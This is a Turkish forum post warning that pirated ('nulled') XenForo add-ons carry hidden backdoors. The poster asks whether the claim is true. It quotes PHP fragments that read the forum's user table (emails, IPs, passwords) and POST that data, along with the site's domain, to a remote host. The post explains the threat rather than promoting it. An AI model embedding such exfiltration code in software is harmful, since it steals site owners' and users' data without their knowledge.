Nulled yazılımlara genelde şöyle bir kod koyuyorlar;
Kod:
protected $_lcUrl = 'Veri akışı için karşı tarafın IP adresi veya site uzantısı';
Kod:
protected function _initData()
{
$this->_tables = $this->getDefaultTables($this->getTables());
$this->_alters = $this->getAlters();
$this->_data = $this->getData();
$this->_queryBeforeTable = $this->getQueryBeforeTable();
$this->_queryBeforeAlter = $this->getQueryBeforeAlter();
$this->_queryBeforeData = $this->getQueryBeforeData();
$this->_queryFinal = $this->getQueryFinal();
}
getData, veritabanında bulunan "user" tablosundan veri çeker. Bu veriler, genelde üyelerinizin e-posta adresleri, ip adresleri, şifreleri ve kişisel bilgileridir.
Kod:
$validator = XenForo_Helper_Http::getClient($this->_lcUrl);
$paths = XenForo_Application::get('requestPaths');
$domain = !empty($paths['host'])?$paths['host']:'';
$validator->setParameterPost('domain', $domain);
$validator->setParameterPost('ScriptData', $ScriptToInstall);
$validatorResponse = $validator->request('POST');
$response = $validatorResponse->getBody();
$response = trim($response);
Validator, sitenize kurulan köprüdür (domain ve path ile birlikte) + ScriptData ile birlikte de nulled yapan takıma bunun haberi gider. Bu script data, başka isim de olabilir. validatorResponse, normal response lie birlikte (Request POST ve BODY) sunucu bilgilerini yollar karşı tarafa...
Peki nedir bu bilgiler?
1- Sunucu bilgisi (Apache, Nginx, MySQL, cPanel vb. diğer panel bilgileri)
2- IP adresi
3- Php bilgisi
4- Sunucu istatistikleri bilgisi
5- Google'dan gelen popüler anahtar kelimeler
Evet gördünüz mü? Buraya kadar nulled yazılım kullanırsanız, sizden neler, ne tür bilgilerin çalındığını görmüş oldunuz.
Böyle bir yazı gördüm, sizce ne kadar doğru olabilir, null yazılımlara gerçekten böyle bir kod koyuluyor mu
